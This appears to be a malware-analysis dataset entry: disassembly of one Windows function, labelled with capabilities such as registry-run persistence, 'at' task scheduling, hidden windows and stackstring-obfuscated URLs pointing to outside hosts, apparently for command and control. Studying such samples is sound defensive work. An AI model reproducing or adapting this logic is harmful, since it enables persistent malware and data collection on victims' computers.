Function at 0x406c30
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Copy file
Create directory
Create process on windows
Delete file
Get common file path
Get file attributes
Get file size
Get hostname
Get session user name
Hide graphical window
Persist via run registry key
Query or enumerate registry value
Resolve function by parsing pe exports
Schedule task via at
Set console window title
Set file attributes

Disassembly:
sub esp, 0xaac
push ebx
push ebp
push esi
push edi
push 0x40edd0
push 0x410500
call fcn.00408760
mov esi, dword [esp + 0xacc]
mov eax, dword [esi + 4]
add esp, 8
xor edi, edi
test eax, eax
mov dword [esp + 0x8c], 0x104
mov dword [esp + 0x88], 1
je 0x406c7d
push eax
lea eax, [esp + 0x23c]
push eax
jmp 0x406c8a
push 0x40edbc
lea ecx, [esp + 0x23c]
push ecx
call fcn.00408760
add esp, 8
lea edx, [esp + 0x238]
push edx
call dword [sym.imp.KERNEL32.DLL_SetConsoleTitleA]
lea eax, [esp + 0x238]
push eax
push 0
call dword [sym.imp.USER32.dll_FindWindowA]
push 0
push eax
mov dword [0x411e98], eax
call dword [sym.imp.USER32.dll_ShowWindow]
push 0x104
push 0x410928
call dword [sym.imp.KERNEL32.DLL_GetSystemDirectoryA]
push 0x104
push 0x411a48
call dword [sym.imp.KERNEL32.DLL_GetWindowsDirectoryA]
mov ecx, dword [esi]
push ecx
push 0x412118
call fcn.00408760
add esp, 8
lea edx, [esp + 0xa4]
mov eax, 0x64
push edx
push 0x412e90
mov dword [esp + 0xac], eax
mov dword [esp + 0xa0], eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea eax, [esp + 0x98]
push eax
push 0x411d60
call dword [sym.imp.KERNEL32.DLL_GetComputerNameA]
push 0x412e90
call fcn.004086d0
add esp, 4
test eax, eax
mov dword [esp + 0x10], eax
jbe 0x406d66
mov cl, byte [0x412e90]
push 0x412e90
mov byte [0x41112c], cl
call fcn.004086d0
mov edx, 0x412e90
mov al, byte [eax + edx - 1]
add esp, 4
dec edx
mov byte [0x411a44], al
jmp 0x406d74
mov byte [0x41112c], 0x7a
mov byte [0x411a44], 0x48
push 1
push 0x412e90
call fcn.00401270
push 0
push 0x411d60
call fcn.00401270
mov eax, dword [0x411dc4]
push 0xa
lea ecx, [esp + 0x124]
lea edx, [eax + eax*2 + 0x2cd]
push ecx
shl edx, 1
push edx
call fcn.0040a762
lea eax, [esp + 0x12c]
push eax
push 0x4113a8
call fcn.00408760
mov eax, dword [0x410818]
push 0xa
lea ecx, [esp + 0x114]
lea edx, [eax + eax*2 + 0xf3]
push ecx
shl edx, 1
push edx
call fcn.0040a762
lea eax, [esp + 0x11c]
push eax
push 0x412bd8
call fcn.00408760
push 0x104
lea ecx, [esp + 0x9f4]
push 0
push ecx
call fcn.00408980
add esp, 0x44
push 0x104
lea edx, [esp + 0x2a0]
push 0
push edx
call fcn.00408980
push 0x104
lea eax, [esp + 0x8c4]
push 0
push eax
call fcn.00408980
add esp, 0x18
lea ecx, [esp + 0x14]
push ecx
push 0x40ed78
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x406ed0
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
lea edx, [esp + 0x8c]
push edx
mov edx, dword [esp + 0x18]
lea eax, [esp + 0x9bc]
push eax
lea ecx, [esp + 0x90]
push ecx
push 0
push 0x40ed64
push edx
call esi
mov edi, eax
lea eax, [esp + 0x8c]
push eax
mov eax, dword [esp + 0x18]
lea ecx, [esp + 0x2a0]
push ecx
lea edx, [esp + 0x90]
push edx
push 0
push 0x40ed5c
push eax
call esi
lea ecx, [esp + 0x8c]
push ecx
mov ecx, dword [esp + 0x18]
lea edx, [esp + 0x8b8]
push edx
lea eax, [esp + 0x90]
push eax
push 0
push 0x40ed50
push ecx
call esi
mov edx, dword [esp + 0x14]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x40c401
push 0x411f08
call fcn.00408760
mov esi, dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
mov ebp, dword [sym.imp.KERNEL32.DLL_Sleep]
mov ebx, dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
add esp, 8
test edi, edi
mov edi, dword [sym.imp.KERNEL32.DLL_SetFileAttributesA]
je 0x406f1f
push 0x411028
push 0x40ed44
push 0x40bc84
push 0x411a48
call fcn.00402080
add esp, 0x10
jmp 0x407131
mov ecx, dword [0x410818]
push 0xa
lea eax, [esp + 0xac]
push eax
lea edx, [ecx + ecx + 0x76b]
push edx
call fcn.0040a762
mov al, byte [esp + 0x1c]
add esp, 0xc
test al, 1
jne 0x406f5e
lea eax, [esp + 0x4a4]
push eax
lea ecx, [esp + 0xac]
push ecx
push 0x40ed40
jmp 0x406f73
lea edx, [esp + 0x4a4]
push edx
lea eax, [esp + 0xac]
push eax
push 0x40ed3c
push 0x410928
call fcn.00402080
lea ecx, [esp + 0x9c8]
add esp, 0x10
mov dword [0x412324], ecx
lea ecx, [esp + 0x5a8]
push ecx
push 0x40ed30
lea edx, [esp + 0x2a4]
lea eax, [esp + 0x8bc]
push 0x40bc84
push edx
mov dword [0x411c54], edx
mov dword [0x41081c], eax
call fcn.00402080
lea eax, [esp + 0x6bc]
push eax
push 0x40ed18
lea ecx, [esp + 0x2b4]
push 0x40bc84
push ecx
call fcn.00402080
lea edx, [esp + 0x3c0]
push edx
push 0x40ed00
lea eax, [esp + 0x2c4]
push 0x40bc84
push eax
call fcn.00402080
lea ecx, [esp + 0x164]
push ecx
push 0x40ecf4
lea edx, [esp + 0x2d4]
push 0x40bc84
push edx
call fcn.00402080
add esp, 0x40
lea eax, [esp + 0x8b4]
push eax
push 0x411f08
call fcn.00408760
mov ecx, dword [0x412324]
push ecx
push 0x411b50
call fcn.00408760
add esp, 0x10
push 0
lea edx, [esp + 0x4a8]
push edx
call esi
push 0x32
call ebp
lea eax, [esp + 0x4a4]
push eax
call ebx
cmp eax, 0xffffffff
je 0x40706d
lea ecx, [esp + 0x4a4]
push ecx
jmp 0x407074
mov edx, dword [0x412324]
push edx
push 0x411028
call fcn.00408760
add esp, 8
lea eax, [esp + 0x5a8]
push eax
call ebx
cmp eax, 0xffffffff
je 0x4070ad
push 0x80
lea ecx, [esp + 0x5ac]
push ecx
call edi
lea edx, [esp + 0x5a8]
push edx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
lea eax, [esp + 0x6ac]
push eax
call ebx
cmp eax, 0xffffffff
je 0x4070d9
push 0x80
lea ecx, [esp + 0x6b0]
push ecx
call edi
lea edx, [esp + 0x6ac]
push edx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
lea eax, [esp + 0x3a0]
push eax
call ebx
cmp eax, 0xffffffff
je 0x407105
push 0x80
lea ecx, [esp + 0x3a4]
push ecx
call edi
lea edx, [esp + 0x3a0]
push edx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
lea eax, [esp + 0x134]
push eax
call ebx
cmp eax, 0xffffffff
je 0x407131
push 0x80
lea ecx, [esp + 0x138]
push ecx
call edi
lea edx, [esp + 0x134]
push edx
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push 0xa
lea eax, [esp + 0xd0]
push eax
mov eax, dword [0x410818]
lea ecx, [eax + eax*2 + 0xe7]
push ecx
call fcn.0040a762
mov al, byte [esp + 0x1c]
add esp, 0xc
test al, 1
push 0x412220
jne 0x4071bf
push 0x40ecec
push 0x40bc84
push 0x411028
call fcn.00402080
push 0x412220
push 0x40ece4
push 0x412bd8
push 0x412220
call fcn.00402080
push 0x411130
push 0x413000
push 0x40c401
push 0x40ece0
call fcn.00402080
lea edx, [esp + 0x7e0]
push edx
push 0x40e728
lea eax, [esp + 0x104]
push eax
push 0x40ecdc
jmp 0x40721f
push 0x40ecd4
push 0x40bc84
push 0x411028
call fcn.00402080
push 0x412220
push 0x40eccc
push 0x412bd8
push 0x412220
call fcn.00402080
push 0x411130
push 0x413000
push 0x40c401
push 0x40ecc8
call fcn.00402080
lea ecx, [esp + 0x7e0]
push ecx
push 0x40e728
lea edx, [esp + 0x104]
push edx
push 0x40ecc4
call fcn.00402080
add esp, 0x40
push 0x411730
push 0x40bcc0
push 0x40bc84
push 0x411028
call fcn.00402080
push 0x4112a0
push 0x40bcf8
push 0x40bc84
push 0x411028
call fcn.00402080
push 0x410710
push 0x40bd08
push 0x40bc84
push 0x411028
call fcn.00402080
push 0x410a98
push 0x40bcec
push 0x40bc84
push 0x411028
call fcn.00402080
add esp, 0x40
push 0x4129c8
push 0x40bcd0
push 0x40bc84
push 0x411028
call fcn.00402080
push 0x410180
lea eax, [esp + 0x7c4]
push eax
push 0x40bc84
push 0x411028
call fcn.00402080
push 0x412d88
push 0x40ecb4
push 0x40bc84
push 0x411028
call fcn.00402080
push 0x412ad0
push 0x40eca4
push 0x40bc84
push 0x411028
call fcn.00402080
add esp, 0x40
push 0x412ef8
push 0x40ec94
push 0x40bc84
push 0x411028
call fcn.00402080
push 0x410ba0
push 0x40ec88
push 0x40ec80
push 0x412220
call fcn.00402080
push 0x412010
push 0x40ec74
push 0x40ec68
push 0x410928
call fcn.00402080
push 0x412438
push 0x40ec58
push 0x40bc84
push 0x410928
call fcn.00402080
add esp, 0x40
push 0x410498
push 0x40ec50
push 0x4113a8
push 0x40ec4c
call fcn.00402080
push 0x411dc8
push 0x413000
push 0x40e7b8
push 0x40c2e4
call fcn.00402080
push 0x411dc8
push 0x410a30
call fcn.00408760
push 0x412e90
call fcn.004086d0
add esp, 0x2c
cmp eax, 2
jbe 0x4073ed
lea ecx, [esp + 0x90]
push ecx
push 3
push 0x412e90
call fcn.00402130
lea edx, [esp + 0x9c]
push edx
push 0x411dc8
call fcn.00408770
lea eax, [esp + 0xa4]
push eax
push 0x411130
call fcn.00408770
add esp, 0x1c
push 0x40ec48
push 0x411dc8
call fcn.00408770
push 0x411ea0
push 0x412750
push 0x40e7b8
push 0x40c1bc
call fcn.00402080
push 0x411d60
call fcn.004086d0
mov ebx, eax
add esp, 0x1c
cmp ebx, 2
jbe 0x407464
lea ecx, [esp + 0x90]
push ecx
push 3
push 0x411d60
call fcn.00402130
lea edx, [esp + 0x9c]
push edx
push 0x411ea0
call fcn.00408770
lea eax, [esp + 0xa4]
push eax
push 0x410ca8
call fcn.00408770
add esp, 0x1c
push 0x40ec44
push 0x411ea0
call fcn.00408770
add esp, 8
test bl, 1
push 0x410ca8
push 0x412750
push 0x40c401
jne 0x40749b
push 0x40ec40
call fcn.00402080
push 0x40ec48
jmp 0x4074aa
push 0x40ec3c
call fcn.00402080
push 0x40ec38
push 0x410ca8
call fcn.00408770
add esp, 0x18
push 0x411940
push 0x410498
push 0x40bc84
push 0x410928
call fcn.00402080
push 0x410e18
push 0x40ec34
push 0x40bc84
push 0x411a48
call fcn.00402080
push 0x410e18
push 0x40ec2c
push 0x4113a8
push 0x410e18
call fcn.00402080
push 0x412648
push 0x40ec20
push 0x40bc84
push 0x411a48
call fcn.00402080
add esp, 0x40
push 0x412648
push 0x40ec18
push 0x4113a8
push 0x412648
call fcn.00402080
push 0x411418
push 0x40ec14
push 0x40bc84
push 0x411a48
call fcn.00402080
push 0x411418
push 0x40ec0c
push 0x4113a8
push 0x411418
call fcn.00402080
push 0x410f20
push 0x40c330
push 0x411418
push 0x40ebfc
call fcn.00402080
add esp, 0x40
push 0x411520
push 0x40ebf8
push 0x40bc84
push 0x411b50
call fcn.00402080
push 0x411520
push 0x40ebf4
push 0x412bd8
push 0x411520
call fcn.00402080
push 0x411838
push 0x40ebe8
push 0x40bc84
push 0x411520
call fcn.00402080
push 0x410d10
push 0x40ebdc
push 0x40ebd8
push 0x412220
call fcn.00402080
add esp, 0x40
push 0x412330
push 0x40ebd0
push 0x40ebcc
push 0x412220
call fcn.00402080
push 0x411e30
push 0x412bd8
push 0x40ebc0
push 0x411b50
call fcn.00402080
push 0x40ebb4
push 0x411e30
call fcn.00408770
add esp, 0x28
xor eax, eax
mov cl, byte [0x411a48]
test cl, cl
je 0x40765c
lea esp, [esp]
cmp eax, 3
jge 0x40765c
mov cl, byte [eax + 0x411a48]
mov byte [eax + 0x4127b8], cl
mov cl, byte [eax + 0x411a49]
inc eax
test cl, cl
jne 0x407640
push 0x40eb94
push 0x4127b8
mov byte [eax + 0x4127b8], 0
call fcn.00408770
push 0x411628
push 0x410e18
push 0x40eb84
push 0x410928
call fcn.00402080
push 0x411c58
push 0x40c3fc
push 0x40eb78
push 0x412220
call fcn.00402080
push 0x412540
push 0x40eb6c
push 0x40bc84
push 0x411028
call fcn.00402080
add esp, 0x38
xor ebx, ebx
push ebx
push 0x411028
call esi
push 7
push 0x411028
call edi
push ebx
push 0x412d88
call esi
push ebx
push 0x412ad0
call esi
push ebx
push 0x411520
call esi
push 7
push 0x411520
call edi
mov dword [0x41140c], ebx
call fcn.00403c60
call fcn.00402990
mov al, 0x2f
mov dl, 0x65
mov cl, 0x72
mov dword [0x412d80], ebx
mov bl, 0x74
mov byte [esp + 0x18], 0x68
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], bl
mov byte [esp + 0x1b], 0x70
mov byte [esp + 0x1c], 0x3a
mov byte [esp + 0x1d], al
mov byte [esp + 0x1e], al
mov byte [esp + 0x1f], 0x77
mov byte [esp + 0x20], 0x77
mov byte [esp + 0x21], 0x77
mov byte [esp + 0x22], 0x2e
mov byte [esp + 0x23], 0x6e
mov byte [esp + 0x24], dl
mov byte [esp + 0x25], bl
mov byte [esp + 0x26], 0x34
mov byte [esp + 0x27], 0x66
mov byte [esp + 0x28], cl
mov byte [esp + 0x29], dl
mov byte [esp + 0x2a], dl
mov byte [esp + 0x2b], 0x2e
mov byte [esp + 0x2c], 0x6f
mov byte [esp + 0x2d], cl
mov byte [esp + 0x2e], 0x67
mov byte [esp + 0x2f], al
mov byte [esp + 0x30], 0x41
mov byte [esp + 0x31], cl
mov byte [esp + 0x32], bl
mov byte [esp + 0x33], 0x73
mov byte [esp + 0x34], al
mov byte [esp + 0x35], 0x62
mov byte [esp + 0x36], 0x64
mov byte [esp + 0x37], 0x64
mov byte [esp + 0x38], 0x77
mov byte [esp + 0x39], 0x79
mov byte [esp + 0x3c], al
mov byte [esp + 0x49], bl
mov byte [esp + 0x4a], bl
mov bl, 0x75
mov byte [esp + 0x4d], al
mov byte [esp + 0x4e], al
mov byte [esp + 0x5b], al
mov byte [esp + 0x5f], al
mov byte [esp + 0x63], al
mov al, 0x61
mov byte [esp + 0x46], 0
mov byte [esp + 0x50], dl
mov byte [esp + 0x74], dl
mov byte [esp + 0x79], dl
mov byte [esp + 0x7e], dl
mov byte [esp + 0x86], 0
mov byte [esp + 0x3a], cl
mov byte [esp + 0x3b], 0x6b
mov byte [esp + 0x3d], 0x69
mov byte [esp + 0x3e], 0x6e
mov byte [esp + 0x3f], 0x66
mov byte [esp + 0x40], 0x32
mov byte [esp + 0x41], 0x32
mov byte [esp + 0x42], 0x2e
mov byte [esp + 0x43], 0x63
mov byte [esp + 0x44], 0x73
mov byte [esp + 0x45], 0x73
mov byte [esp + 0x46], 0
mov byte [esp + 0x48], 0x68
mov byte [esp + 0x4b], 0x70
mov byte [esp + 0x4c], 0x3a
mov byte [esp + 0x4f], 0x64
mov byte [esp + 0x51], 0x62
mov byte [esp + 0x52], bl
mov byte [esp + 0x53], 0x67
mov byte [esp + 0x54], 0x69
mov byte [esp + 0x55], 0x6e
mov byte [esp + 0x56], 0x67
mov byte [esp + 0x57], 0x2e
mov byte [esp + 0x58], 0x63
mov byte [esp + 0x59], 0x6f
mov byte [esp + 0x5a], 0x6d
mov byte [esp + 0x5c], 0x57
mov byte [esp + 0x5d], 0x53
mov byte [esp + 0x5e], 0x31
mov byte [esp + 0x60], 0x63
mov byte [esp + 0x61], 0x67
mov byte [esp + 0x62], 0x69
mov byte [esp + 0x64], 0x78
mov byte [esp + 0x65], 0x2e
mov byte [esp + 0x66], 0x63
mov byte [esp + 0x67], 0x67
mov byte [esp + 0x68], 0x69
mov byte [esp + 0x69], 0x3f
mov byte [esp + 0x6a], 0x4e
mov byte [esp + 0x6b], 0x41
mov byte [esp + 0x6c], 0x56
mov byte [esp + 0x6d], 0x47
mov byte [esp + 0x6e], 0x3d
mov byte [esp + 0x6f], 0x54
mov byte [esp + 0x70], cl
mov byte [esp + 0x71], al
mov byte [esp + 0x72], 0x63
mov byte [esp + 0x73], 0x6b
mov byte [esp + 0x75], cl
mov byte [esp + 0x76], 0x26
mov byte [esp + 0x77], bl
mov byte [esp + 0x78], 0x73
mov byte [esp + 0x7a], cl
mov byte [esp + 0x7b], 0x6e
mov byte [esp + 0x7c], al
mov byte [esp + 0x7d], 0x6d
mov byte [esp + 0x7f], 0x3d
mov byte [esp + 0x80], 0x64
mov byte [esp + 0x81], bl
mov byte [esp + 0x82], 0x64
mov byte [esp + 0x83], 0x78
mov byte [esp + 0x84], 0x77
mov byte [esp + 0x85], 0x64
mov byte [esp + 0x86], 0
lea edx, [esp + 0x18]
push edx
push 0x410288
call fcn.00408760
lea eax, [esp + 0x50]
push eax
push 0x410820
call fcn.00408760
add esp, 0x10
call fcn.004033b0
mov ecx, dword [esp + 0xac4]
mov eax, dword [ecx + 4]
test eax, eax
je 0x4081c7
push eax
call fcn.004086d0
add esp, 4
cmp eax, 0x15
jne 0x407e38
mov eax, dword [0x410818]
push 0xa
lea edx, [esp + 0xac]
lea eax, [eax + eax*2 + 0x2cd]
push edx
shl eax, 1
push eax
call fcn.0040a762
push 0x412e90
call fcn.004086d0
add esp, 0x10
cmp eax, 2
jbe 0x4079ea
lea ecx, [esp + 0x9c]
push ecx
push 2
push 0x412e90
call fcn.00402130
push 0x410608
lea edx, [esp + 0xac]
push edx
push 0x40bc84
push 0x411a48
call fcn.00402080
add esp, 0x1c
jmp 0x407a06
push 0x410608
push 0x412e90
push 0x40bc84
push 0x411a48
call fcn.00402080
add esp, 0x10
lea eax, [esp + 0xa8]
push eax
push 0x410608
call fcn.00408770
add esp, 8
push 0
push 0x410608
call esi
push 7
push 0x410608
call edi
push 0x412e90
call fcn.004086d0
add esp, 4
test al, 1
jne 0x407a45
push 0x40eb68
jmp 0x407a4a
push 0x40eb64
push 0x410608
call fcn.00408770
add esp, 8
lea ecx, [esp + 0x7b0]
push ecx
push 0x410608
call fcn.00408770
add esp, 8
call fcn.004047a0
push 0x80
push 0x411730
call edi
push 0x80
push 0x410a98
call edi
push 0x80
push 0x4129c8
call edi
push 0x80
push 0x410608
call edi
push 0x80
push 0x4112a0
call edi
mov ebx, dword [sym.imp.KERNEL32.DLL_CopyFileA]
push 0
push 0x411730
push 0x412118
call ebx
push 0
push 0x410a98
push 0x412118
call ebx
push 0x1f4
call ebp
mov edx, dword [0x411e98]
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0
push 0
push 0x40eb54
push 0x411730
push 0x40cbec
push edx
call esi
push 0x1f4
call ebp
mov eax, dword [0x411e98]
push 0
push 0
push 0x40eb3c
push 0x410a98
push 0x40cbec
push eax
call esi
xor ecx, ecx
mov cl, byte [0x411a44]
xor edx, edx
mov dl, byte [0x411024]
add dl, 0x1e
xor eax, eax
mov al, byte [0x41112c]
push ecx
xor ecx, ecx
mov cl, byte [0x412328]
add cl, 0xf
push edx
push eax
push ecx
push 0x4129c8
push 0x412118
call fcn.00403010
add esp, 0x18
test eax, eax
je 0x407b79
push 0xa
call ebp
mov edx, dword [0x411e98]
push 0
push 0
push 0x40eb28
push 0x4129c8
push 0x40cbec
push edx
call esi
xor eax, eax
mov al, byte [0x41112c]
xor edx, edx
mov dl, byte [0x411024]
xor ecx, ecx
mov cl, byte [0x411a44]
add dl, 0x21
push eax
xor eax, eax
mov al, byte [0x410814]
add al, 0x1b
push ecx
push edx
push eax
push 0x410608
push 0x412118
call fcn.00403010
add esp, 0x18
test eax, eax
je 0x407bd6
push 0xa
call ebp
mov ecx, dword [0x411e98]
push 0
push 0
push 0x40eb14
push 0x410608
push 0x40cbec
push ecx
call esi
xor edx, edx
mov dl, byte [0x411a44]
xor eax, eax
mov al, byte [0x411024]
add al, 0x30
xor ecx, ecx
mov cl, byte [0x41112c]
push edx
xor edx, edx
mov dl, byte [0x410814]
add dl, 0xc
push eax
push ecx
push edx
push 0x410180
push 0x412118
call fcn.00403010
add esp, 0x18
test eax, eax
je 0x407c33
push 0xa
call ebp
mov eax, dword [0x411e98]
push 0
push 0
push 0x40eb14
push 0x410180
push 0x40cbec
push eax
call esi
push 0x4127b8
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x407c9f
push 0
push 0x80
push 3
push 0
push 0
push closesocket
push 0x4127b8
call dword [sym.imp.KERNEL32.DLL_CreateFileA]
test eax, eax
mov dword [esp + 0x10], eax
je 0x407c9f
push 0
mov ecx, eax
push ecx
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
mov edx, dword [esp + 0x10]
push edx
mov dword [esp + 0xa0], eax
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
cmp dword [esp + 0x9c], 0x30d40
jae 0x407c9f
push 0x4127b8
call fcn.00401240
add esp, 4
push 0x3e8
call ebp
push 0x40eb04
push 0x40eafc
push 0x40eae8
push closesocket
call fcn.00401120
push 0x40ead0
push 0x40eac4
push 0x40eae8
push closesocket
call fcn.00401120
push 0x40eab8
push 0x40eaac
push 0x40eae8
push closesocket
call fcn.00401120
push 0x40ea8c
push 0x40ea84
push 0x40eae8
push closesocket
call fcn.00401120
add esp, 0x40
push 0x40ea70
push 0x40ea64
push 0x40eae8
push closesocket
call fcn.00401120
push 0x40e970
push 0x40e958
call fcn.00401e80
mov eax, dword [0x411e98]
add esp, 0x18
push 0
push 0
push 0x40e94c
push 0x40e944
push 0x40cbec
push eax
call esi
push 0x7d0
call ebp
push 0
push 0x411e30
push 0x412118
call ebx
lea ecx, [esp + 0x134]
push ecx
push 0x40c330
push 0x411e30
push 0x40e924
call fcn.00402080
mov eax, dword [0x411e98]
add esp, 0x10
push 0
push 0
lea edx, [esp + 0x13c]
push edx
push 0x40e944
push 0x40cbec
push eax
call esi
push 0x3e8
call ebp
lea ecx, [esp + 0x134]
push ecx
push 0x40c330
push 0x411e30
push 0x40e904
call fcn.00402080
mov eax, dword [0x411e98]
add esp, 0x10
push 0
push 0
lea edx, [esp + 0x13c]
push edx
push 0x40e944
push 0x40cbec
push eax
call esi
push 0x412330
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x407e10
push 0x80
push 0x412330
call edi
push 0x412330
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
call fcn.004033b0
push 0x7d0
call ebp
call fcn.00404a70
call fcn.00401ee0
push 0x7d0
mov esi, eax
call ebp
test esi, esi
je 0x407e10
jmp 0x408225
cmp eax, 0xd
jne 0x407f31
mov esi, dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
push 0x4112a0
call esi
cmp eax, 0xffffffff
je 0x407e6a
push 0x80
push 0x4112a0
call edi
push 0x4112a0
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
push 0xa
call ebp
push 0x4112a0
call esi
cmp eax, 0xffffffff
jne 0x407f18
push 0x412330
call esi
cmp eax, 0xffffffff
je 0x407ea4
push 0x412330
call fcn.00401240
add esp, 4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xaac
ret
push 0
push 0x412330
push 0x412118
call dword [sym.imp.KERNEL32.DLL_CopyFileA]
xor ecx, ecx
mov cl, byte [0x411a44]
xor edx, edx
mov dl, byte [0x411024]
xor eax, eax
mov al, byte [0x412328]
add dl, 0x20
add al, 0xc
push ecx
xor ecx, ecx
mov cl, byte [0x41112c]
push edx
push eax
push ecx
push 0x4112a0
push 0x412118
call fcn.00403010
add esp, 0x18
test eax, eax
je 0x407f18
push 0xa
call ebp
mov edx, dword [0x411e98]
push 0
push 0
push 0x40e8ec
push 0x4112a0
push 0x40cbec
push edx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x7d0
call ebp
push 0x412330
call fcn.00401240
add esp, 4
jmp 0x408225
cmp eax, 0xe
jne 0x40801e
lea eax, [esp + 0x3a0]
push eax
push 0x40c401
push 0x40bc84
push 0x411a48
xor esi, esi
call fcn.00402080
mov ecx, dword [0x411c54]
push ecx
call fcn.004086d0
add esp, 0x14
cmp eax, 0xa
jbe 0x407f9b
mov eax, dword [0x411c54]
lea edx, [esp + 0x134]
push edx
push 0x40c401
push 0x40bc84
push eax
call fcn.00402080
lea ecx, [esp + 0x144]
push 3
push ecx
call fcn.00406070
add esp, 0x18
push 0x7530
call ebp
call fcn.004047a0
lea edx, [esp + 0x3a0]
push 0
push edx
call fcn.00406070
mov edi, dword [sym.imp.KERNEL32.DLL_GetDriveTypeA]
add esp, 8
mov byte [esp + 0x11], 0x3a
mov byte [esp + 0x12], 0x5c
mov byte [esp + 0x13], 0
mov edi, edi
mov ebx, 0x43
test esi, esi
jne 0x408008
push 0x1388
call ebp
lea eax, [esp + 0x10]
push eax
mov byte [esp + 0x14], bl
call edi
cmp eax, 1
jle 0x408008
cmp eax, 5
jge 0x408008
call fcn.004047a0
lea ecx, [esp + 0x10]
push esi
push ecx
call fcn.00406070
add esp, 8
call fcn.00401ee0
inc ebx
cmp ebx, 0x5a
mov esi, eax
jle 0x407fd5
test esi, esi
je 0x407fd0
jmp 0x408225
cmp eax, 0x14
jne 0x40808f
call fcn.00402430
lea edx, [esp + 0x134]
push edx
push 0x40c401
push 0x40bc84
push 0x412d88
call fcn.00402080
add esp, 0x10
push 0x1d4c0
call ebp
mov edi, edi
call fcn.00401ee0
mov esi, eax
call fcn.004047a0
push 0x1d4c0
call ebp
push 0x40cda4
call fcn.00401400
add esp, 4
test eax, eax
je 0x408086
lea eax, [esp + 0x134]
push 2
push eax
call fcn.00406070
add esp, 8
test esi, esi
je 0x408050
jmp 0x408225
cmp eax, 0x11
jne 0x408143
push 0x40e8d4
push 0x412ef8
mov dword [0x41140c], 1
call fcn.00401e80
mov esi, dword [sym.imp.SHELL32.dll_ShellExecuteA]
add esp, 8
lea ebx, [ebx]
call fcn.00401ee0
push 0x7530
mov edi, eax
call ebp
call fcn.004047a0
test edi, edi
jne 0x40810b
call fcn.00406270
push 0x7530
call ebp
call fcn.00406bd0
push 0x3a980
call ebp
mov ecx, dword [0x411e98]
push edi
push edi
push 0x40e8b8
push 0x412118
push 0x40cbec
push ecx
call esi
jmp 0x4080c0
mov edx, dword [0x411e98]
push 0
push 0
push 0x40c401
push 0x410d10
push 0x40cbec
push edx
call esi
push 0x410ba0
call fcn.00401240
push 0x411c58
call fcn.00401240
add esp, 8
jmp 0x408225
cmp eax, 0x12
jne 0x408193
xor edi, edi
lea ebx, [ebx]
call fcn.00401ee0
mov esi, eax
call fcn.004033b0
push 0x7d0
call ebp
call fcn.00404a70
push 0x7d0
call ebp
mov eax, dword [0x412d80]
inc eax
cmp eax, 0x14
mov dword [0x412d80], eax
jle 0x40818a
call fcn.004047a0
mov dword [0x412d80], edi
cmp esi, edi
je 0x408150
jmp 0x408225
cmp eax, 0x16
jne 0x4081b4
mov eax, dword [0x411e98]
push 5
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
call fcn.00404690
push 0x1388
call ebp
jmp 0x408225
cmp eax, 0x18
jne 0x408225
call fcn.00404e30
push 0x7d0
call ebp
jmp 0x408225
push 0
push 0x40e8a8
push 0x412118
call fcn.00401370
add esp, 0xc
test eax, eax
jg 0x4081f7
push 0
push 0x412220
push 0x412118
call fcn.00401370
add esp, 0xc
test eax, eax
jle 0x4081fe
push 0x7d0
call ebp
push 0x3e8
call ebp
mov ecx, dword [0x411e98]
push 0
push 0
push 0x40cbdc
push 0x410710
push 0x40cbec
push ecx
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push 0x40e848
push 0x411198
call fcn.00408760
add esp, 8
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0xaac
ret